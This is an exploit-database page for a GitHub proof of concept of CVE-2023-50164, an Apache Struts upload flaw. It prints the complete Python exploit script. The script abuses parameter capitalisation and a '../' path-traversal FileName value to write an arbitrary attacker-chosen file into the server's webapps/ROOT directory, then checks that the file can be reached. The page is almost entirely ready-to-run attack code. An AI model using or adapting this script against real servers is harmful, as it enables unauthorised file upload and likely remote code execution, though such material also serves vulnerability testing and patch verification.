Exploit database

GH-c6bbf9bbe5d76255950ff7172c1cf4b2

nikitapark/cve-2023-50164-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-50164

18 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
nikitapark/cve-2023-50164-pocRevision 2ac35207cab1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Suggested starting filePython · 4,038 bytes
import argparse
from urllib.parse import urlparse
import os
import requests
import traceback
import time

def banner():
    print("""
       _____ __             __      ___   ____  ____________
      / ___// /________  __/ /_____|__ \ / __ \/ ____/ ____/
      \__ \/ __/ ___/ / / / __/ ___/_/ // /_/ / /   / __/   
     ___/ / /_/ /  / /_/ / /_(__  ) __// _, _/ /___/ /___   
    /____/\__/_/   \__,_/\__/____/____/_/ |_|\____/_____/   
    
    :: CVE-2023-50164 Exploit

    :: Coded by Nikita.Park
    :: Repository: https://github.com/NikitaPark/CVE-2023-50164-PoC.git
""")

def args_is_valid():
    if not str(args.url).startswith('http'):
        print(f"[!] Invalid URL. It should be start with 'http'. url:{args.url}")
        return False
    
    try:
        res = requests.get(url=args.url)
        if not res.status_code == 200:
            print(f"[!] Can't connect to url '{args.url}'")
            return False
    except:
        traceback.format_exc()
        return False
    
    if not os.path.isfile(args.upload_file):
        print(f"[!] Can't open file '{args.upload_file}'")
        return False
    
    if str(args.upload_file_param)[0].isupper():
        while True:
            print('[!] upload file param is already has capitalized. in this case, the parameter obfuscation process is omitted from the exploit process.')
            answer = input('    Are you continue? (y/n): ')

            if answer == 'n':
                return False
            elif answer == 'y':
                break
            else:
                continue

    if args.attempt_num < 1:
        print(f"[!] Invalid value of attempt. It should be initialized to '1' or greater. attempt_num:{args.attempt_num}")
    
    return True

def main():

    upload_file = open(args.upload_file, 'rb').read()
    upload_filename = str(args.upload_file).split('/')[-1]
    upload_file_param = str(args.upload_file_param)
    
    parsed_url = urlparse(args.url)
    upload_check_url = f"{parsed_url.scheme}://{parsed_url.hostname}:{parsed_url.port}/{upload_filename}"

    is_successed = False
    for i in range(1, int(args.attempt_num) + 1):
        upload_file_location = f"{'../' * i}webapps/ROOT/{upload_filename}"
        print(f"[*] Attempts #{i}, Trying to upload '{upload_filename}'. location:'{upload_file_location}'")
        
        try:
            print('\t- upload: ', end='')
            data = {
                f"{upload_file_param.capitalize()}": (upload_filename, upload_file, 'text/plain'),
                f"{upload_file_param + 'FileName'}": (None, upload_file_location)
            }
            res = requests.post(url=args.url, files=data)
            
            if res.status_code == 200:
                print('success')
                print('\t- access to uploaded file: ', end='')
                time.sleep(3)

                upload_check = requests.get(url=upload_check_url)

                if upload_check.status_code == 200:
                    print('success')
                    is_successed = True
                    break

                else:
                    print('fail')

            else:
                print('fail')
        
        except Exception as e:
            print(f'\n[!] Exploit was stopped. Caused by: {e}')

    print('[*] Done. exploit was ', end='')
    if is_successed:
        print(f'successed. url:{upload_check_url}')
        return
    else:
        print('failed.')
        return

if __name__ == '__main__':
    argparser = argparse.ArgumentParser()
    argparser.add_argument("-u", "--url", dest="url", required=True, action="store")
    argparser.add_argument("-f", "--file", dest="upload_file", required=True, action="store")
    argparser.add_argument("-p", "--file-parameter", dest="upload_file_param", required=False, default="upload", action="store")
    argparser.add_argument("-a", "--attempts", dest="attempt_num", required=False, default=5, action="store")
    args = argparser.parse_args()

    banner()

    if args_is_valid():
        main()